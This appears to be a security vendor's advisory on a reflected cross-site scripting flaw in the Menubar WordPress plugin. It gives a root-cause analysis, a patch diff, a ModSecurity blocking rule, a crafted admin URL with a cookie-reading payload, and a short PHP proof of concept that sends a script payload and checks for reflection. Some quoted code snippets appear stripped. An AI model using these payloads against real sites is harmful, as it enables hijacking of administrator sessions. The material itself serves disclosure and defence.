Published : November 24, 2026

CVE-2026-129016: Menubar <= 5.9.4 Reflected Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin menubar
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 5.9.4
Patched Version 6.0
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129016: The Menubar WordPress plugin versions up to 5.9.4 suffer from a reflected cross-site scripting (XSS) vulnerability (CVSS 6.1, CWE-79). Atomic Edge research confirms the flaw resides in the administrative interface where unsanitized user-supplied parameters are reflected into HTML output without proper escaping. The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript into pages that execute when a privileged user (e.g., administrator) visits a crafted URL or clicks a malicious link. The affected component is the admin menu management page handled by wpm-admin.php.

Root Cause: The root cause is the lack of input sanitization and output escaping in the admin scripts. In wpm-admin.php, the function wpm_get_vars() previously populated global variables directly from $_REQUEST without validation: `foreach ($vars as $var) $GLOBALS[$var] = isset ($_REQUEST[$var])? trim (stripslashes ($_REQUEST[$var])): ”;`. This allowed attacker-controlled values to be assigned to variables such as $menuname and $template. These values are later echoed into HTML attributes in wpm-edit.php without escaping, as seen in lines like `<input type="hidden" name="action" value="” />`. Additionally, the nonce checks were either missing or improperly applied, enabling direct access to administrative actions. The diff replaces the unsafe extraction with explicit casting and sanitization (e.g., `$menuid = isset ($_REQUEST[‘menuid’])? (int)$_REQUEST[‘menuid’]: 0;`) and adds nonce verification and existence checks for nodes.

Exploitation: An attacker crafts a URL targeting the WordPress admin area, such as `/wp-admin/admin.php?page=menubar&action=edit&menuid=1&itemid=1&menuname=alert(document.cookie)`. If a logged-in administrator clicks this link, the script executes in the context of the admin’s session. The attacker can steal cookies, perform privileged actions (e.g., create new admin users), or inject backdoors. The lack of nonce validation and input filtering makes the attack trivial to execute via phishing emails or malicious redirects. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates a network-based attack requiring user interaction but no privileges.

Patch Analysis: The patch (version 6.0) addresses the vulnerability through multiple measures. First, it adds ABSPATH checks to all PHP files to prevent direct access. Second, it replaces the unsafe wpm_get_vars() function with explicit sanitization and type casting for each parameter: $submit, $action, $itemid, $order, $orderid, $menuid, $menuname, and $template. Integers are cast to (int), and strings are trimmed and stripped of slashes, but importantly, output escaping is added in wpm-edit.php using esc_attr() for hidden input fields. Third, nonce checks are enforced before processing actions (e.g., check_admin_referer(‘swap_’ . $itemid)). Fourth, the patch adds validation to ensure nodes exist before operations (e.g., wpm_read_node($menuid) === null). These changes collectively prevent XSS by ensuring user input is not reflected without proper encoding and by validating request integrity.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s browser. This can lead to session hijacking, theft of sensitive data (e.g., authentication cookies, CSRF tokens), privilege escalation (by creating new admin accounts), and full site compromise. The vulnerability is reflected, so it requires tricking a victim into clicking a malicious link or visiting a crafted page. Given the high privilege of the targeted user, the impact is severe, potentially resulting in complete site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/menubar/templates/Basic_46/wpm3.php
+++ b/menubar/templates/Basic_46/wpm3.php
@@ -4,6 +4,8 @@
 	PHP script for the Basic_46 template
 */

+if (!defined ('ABSPATH'))  exit;
+
 global $wpm_html_b46;

 $wrap_b46 = '
--- a/menubar/templates/CSSmb_46/wpm3.php
+++ b/menubar/templates/CSSmb_46/wpm3.php
@@ -9,6 +9,8 @@
 	http://www.cssmenubuilder.com/home
 */

+if (!defined ('ABSPATH'))  exit;
+
 global $wpm_html_c46;

 $wrap_c46 = '
--- a/menubar/templates/LC1_46/wpm3.php
+++ b/menubar/templates/LC1_46/wpm3.php
@@ -9,6 +9,8 @@
 	http://www.solucija.com/
 */

+if (!defined ('ABSPATH'))  exit;
+
 global $wpm_html_l46;

 $wrap_l46 = '
--- a/menubar/templates/Suckerfish_45/wpm3.php
+++ b/menubar/templates/Suckerfish_45/wpm3.php
@@ -9,6 +9,8 @@
 	http://www.htmldog.com/articles/suckerfish/dropdowns/
 */

+if (!defined ('ABSPATH'))  exit;
+
 global $wpm_html_S45;
 global $wpm_features_Suckerfish_45;

--- a/menubar/templates/Superfish/wpm3.php
+++ b/menubar/templates/Superfish/wpm3.php
@@ -9,6 +9,8 @@
 	https://superfish.joelbirch.design/
 */

+if (!defined ('ABSPATH'))  exit;
+
 global $wpm_html_ssf;

 $wrap_ssf = '
--- a/menubar/wpm-admin.php
+++ b/menubar/wpm-admin.php
@@ -1,3 +1,8 @@
+<?php
+
+if (!defined ('ABSPATH'))  exit;
+
+?>

 <script type='text/javascript'>
 jQuery(document).ready(function($) {
@@ -115,10 +120,10 @@
 	$url_delete	= $wpm_options->form_action .
 		'&action=delete&menuid=' . $menuid . '&itemid=' . $item->id;

-	$up   = $prev_id? "<a href='$url_up' class='edit' title='".__('move up','menubar')."'>
+	$up   = $prev_id? "<a href='" . wp_nonce_url ($url_up, 'swap_' . $prev_id) . "' class='edit' title='".__('move up','menubar')."'>
 				<img src='$url/up.gif' /></a>": "";

-	$down = $next_id? "<a href='$url_down' class='edit' title='".__('move down','menubar')."'>
+	$down = $next_id? "<a href='" . wp_nonce_url ($url_down, 'swap_' . $item->id) . "' class='edit' title='".__('move down','menubar')."'>
 				<img src='$url/down.gif' /></a>": "";

 	$image = (!empty ($menu->features['images']) && !empty ($item->imageurl))?
@@ -264,15 +269,9 @@
 	return 0;
 }

-function wpm_get_vars ($vars)
-{
-	foreach ($vars as $var)
-		$GLOBALS[$var] = isset ($_REQUEST[$var])? trim (stripslashes ($_REQUEST[$var])): '';
-}
-
 function wpm_get_fields ()
 {
-	$exclude = array ('_wp_http_referer', '_wpnonce');
+	$exclude = array ('_wp_http_referer', '_wpnonce');

 	$fields = new stdClass;
 	foreach ($_POST as $key => $value)
@@ -302,17 +301,19 @@
 	return $fields;
 }

-function wpm_check_item ($order, $orderid, $fields)
-{
-}
-
-wpm_get_vars (array ('submit', 'action', 'itemid', 'order', 'orderid', 'menuid', 'menuname', 'template'));
-
-$msg = 0;
+$msg      = 0;
+$submit   = isset ($_REQUEST['submit'])?   trim (stripslashes ($_REQUEST['submit'])): '';
+$action   = isset ($_REQUEST['action'])?   trim (stripslashes ($_REQUEST['action'])): '';
+$itemid   = isset ($_REQUEST['itemid'])?   (int)$_REQUEST['itemid']: 0;
+$order    = isset ($_REQUEST['order'])?    (int)$_REQUEST['order']: 0;
+$orderid  = isset ($_REQUEST['orderid'])?  (int)$_REQUEST['orderid']: 0;
+$menuid   = isset ($_REQUEST['menuid'])?   (int)$_REQUEST['menuid']: 0;
+$menuname = isset ($_REQUEST['menuname'])? trim (stripslashes ($_REQUEST['menuname'])): '';
+$template = isset ($_REQUEST['template'])? trim (stripslashes ($_REQUEST['template'])): '';

 switch ($submit)
 {
-case __('Reset Menubar', 'menubar'):
+case __('Reset Menubar', 'menubar'):

 	check_admin_referer ('reset');

@@ -321,11 +322,12 @@
 	$msg = 6;

 break;
-case __('Select Menu', 'menubar'):
+case __('Select Menu', 'menubar'):

 break;
-case __('Delete Menu', 'menubar'):
+case __('Delete Menu', 'menubar'):

+	if (wpm_read_node ($menuid) === null)  break;
 	check_admin_referer ('deletemenu');

 	if (wpm_delete_node ($menuid))
@@ -337,7 +339,9 @@
 		$msg = 8;

 break;
-case __('Edit Menu', 'menubar'):
+case __('Edit Menu', 'menubar'):
+
+	if (wpm_read_node ($menuid) === null)  break;

 	$action = 'editmenu';
 	$wpm_menu = wpm_read_node ($menuid);
@@ -346,8 +350,9 @@
 	exit;

 break;
-case __('Update Menu', 'menubar'):
+case __('Update Menu', 'menubar'):

+	if (wpm_read_node ($menuid) === null)  break;
 	check_admin_referer ('updatemenu_' . $menuid);

 	$wpm_menu = new stdClass;
@@ -403,11 +408,15 @@
 {
 case 'swap':

+	if (wpm_read_node ($itemid) === null)  break;
+	check_admin_referer ('swap_' . $itemid);
+
 	wpm_swap_node ($itemid);

 break;
 case 'add':

+	if (wpm_read_node ($menuid) === null)  break;
 	check_admin_referer ('add');

 	$wpm_item = wpm_get_fields ();
@@ -436,6 +445,7 @@
 break;
 case 'delete':

+	if (wpm_read_node ($itemid) === null)  break;
 	check_admin_referer ('delete_' . $itemid);

 	if (wpm_delete_node ($itemid))
@@ -446,6 +456,9 @@
 break;
 case 'edit':

+	if (wpm_read_node ($menuid) === null)  break;
+	if (wpm_read_node ($itemid) === null)  break;
+
 	$item = wpm_read_node ($itemid);
 	include_once ('wpm-edit.php');
 	wpm_item_form ('edit', $menuid, $item);
@@ -455,6 +468,7 @@
 break;
 case 'update':

+	if (wpm_read_node ($itemid) === null)  break;
 	check_admin_referer ('update_' . $itemid);

 	$wpm_item = wpm_get_fields ();
@@ -526,12 +540,12 @@
 	<?php if ($menuid) {
 		wp_nonce_field ('deletemenu');
 		wpm_menu_dropdown ($menuid); ?>
-		<input type="submit" name="submit" value="<?php _e('Select Menu', 'menubar'); ?>" class="button" />
-		<input type="submit" name="submit" value="<?php _e('Edit Menu', 'menubar'); ?>" class="button" />
+		<input type="submit" name="submit" value="<?php _e('Select Menu', 'menubar'); ?>" class="button" />
+		<input type="submit" name="submit" value="<?php _e('Edit Menu', 'menubar'); ?>" class="button" />
 		<input type="submit" name="submit" value="<?php _e('Delete Menu', 'menubar'); ?>" class="button delete" />
 	<?php } ?>

-	<input type="submit" name="submit" value="<?php _e('Add New Menu', 'menubar'); ?>" class="button" />
+	<input type="submit" name="submit" value="<?php _e('Add New Menu', 'menubar'); ?>" class="button" />
 	</fieldset>
 </form>

--- a/menubar/wpm-db.php
+++ b/menubar/wpm-db.php
@@ -1,5 +1,7 @@
 <?php

+if (!defined ('ABSPATH'))  exit;
+
 $wpm_type_fields = array (
 'Home' 			=> array ('cssclass', 'attributes'),
 'FrontPage' 	=> array ('cssclass', 'attributes'),
--- a/menubar/wpm-edit-menu.php
+++ b/menubar/wpm-edit-menu.php
@@ -1,5 +1,7 @@
 <?php

+if (!defined ('ABSPATH'))  exit;
+
 if ($action == 'editmenu') {
 	$heading = __('Edit Menu', 'menubar');
 	$submit_text = __('Update Menu', 'menubar');
--- a/menubar/wpm-edit.php
+++ b/menubar/wpm-edit.php
@@ -1,5 +1,7 @@
 <?php

+if (!defined ('ABSPATH'))  exit;
+
 function wpm_item_form ($action, $menuid, $item=null)
 {
 	global $wpm_options;
@@ -106,9 +108,9 @@
 <div class="wrap">
 <h2><?php echo $heading; ?></h2>
 <?php echo $form; ?>
-<input type="hidden" name="action" value="<?php echo $action; ?>" />
-<input type="hidden" name="menuid" value="<?php echo $menuid; ?>" />
-<input type="hidden" name="itemid" value="<?php echo $item->id; ?>" />
+<input type="hidden" name="action" value="<?php echo esc_attr ($action); ?>" />
+<input type="hidden" name="menuid" value="<?php echo esc_attr ($menuid); ?>" />
+<input type="hidden" name="itemid" value="<?php echo esc_attr ($item->id); ?>" />
 <?php wp_nonce_field($nonce_action); ?>

 <table class="editform">
--- a/menubar/wpm-main.php
+++ b/menubar/wpm-main.php
@@ -3,12 +3,16 @@
 Plugin Name: Menubar
 Plugin URI: https://dontdream.it/menubar/
 Description: Configurable menus with your choice of menu templates.
-Version: 5.9.4
+Version: 6.0
 Author: Andrea Tarantini
 Author URI: https://dontdream.it/
+License: GPL v2 or later
+License URI: https://www.gnu.org/licenses/gpl-2.0.html
 Text Domain: menubar
 */

+if (!defined ('ABSPATH'))  exit;
+
 if (!defined ('MENUBAR_TEMPLATES'))
 	if (file_exists (WP_PLUGIN_DIR. '/menubar-templates'))
 		define ('MENUBAR_TEMPLATES', 'menubar-templates');
@@ -31,7 +35,7 @@
 $wpm_options->update_option	= true;
 $wpm_options->function_name	= 'wpm_display_';
 $wpm_options->menu_type   	= 'Menu';
-$wpm_options->wpm_version 	= '5.9.4';
+$wpm_options->wpm_version 	= '6.0';

 include_once ('wpm-db.php');
 include_once ('wpm-menu.php');
--- a/menubar/wpm-menu.php
+++ b/menubar/wpm-menu.php
@@ -1,5 +1,7 @@
 <?php

+if (!defined ('ABSPATH'))  exit;
+
 function wpm_out41 ($node_id, $html, $css)
 {
 	if ($node_id == 0)  return array ('output' => '', 'hilight' => false);
--- a/menubar/wpm-tree.php
+++ b/menubar/wpm-tree.php
@@ -1,5 +1,7 @@
 <?php

+if (!defined ('ABSPATH'))  exit;
+
 function wpm_init_tree ()
 {
 	global $wpm_tree, $wpm_options;
@@ -58,7 +60,7 @@

 	if ($parent_id > 0)
 		$node = _wpm_link_child ($parent_id, $node);
-
+
 	return $node;
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129016
# Blocks reflected XSS attempts via the 'menuname' parameter on the Menubar admin page.
# The rule matches requests to the Menubar admin page and inspects the 'menuname' parameter for XSS patterns.
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:2026129016,phase:2,deny,status:403,chain,msg:'CVE-2026-129016 via Menubar Reflected XSS',severity:'CRITICAL',tag:'CVE-2026-129016'"
  SecRule ARGS_GET:page "@streq menubar" "chain"
    SecRule ARGS_GET:menuname "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129016 - Menubar <= 5.9.4 - Reflected Cross-Site Scripting
// This PoC demonstrates reflected XSS via the 'menuname' parameter in the Menubar admin page.
// It requires a victim administrator to be logged in and to click the crafted link.

$target_url = 'http://example.com'; // Change to your WordPress site URL
$payload = '<script>alert("XSS by Atomic Edge")</script>'; // JavaScript payload

// Construct the malicious URL targeting the Menubar admin page
// The vulnerable parameters are typically passed via GET to /wp-admin/admin.php?page=menubar
$malicious_url = $target_url . '/wp-admin/admin.php?page=menubar&action=edit&menuid=1&itemid=1&menuname=' . urlencode($payload);

// Use cURL to simulate an administrator clicking the link (assuming session cookie is provided)
// In a real attack, the victim's browser would automatically send the session cookie.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// If you have a valid admin session cookie, set it here:
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_...=...');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the payload is reflected unescaped in the response
if (strpos($response, $payload) !== false) {
    echo "Vulnerable: Payload reflected in response.n";
    echo "HTTP Status: $http_coden";
} else {
    echo "Not vulnerable or payload not reflected (may require authentication).n";
}

// Note: This PoC is for educational purposes only. Do not use against unauthorized systems.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.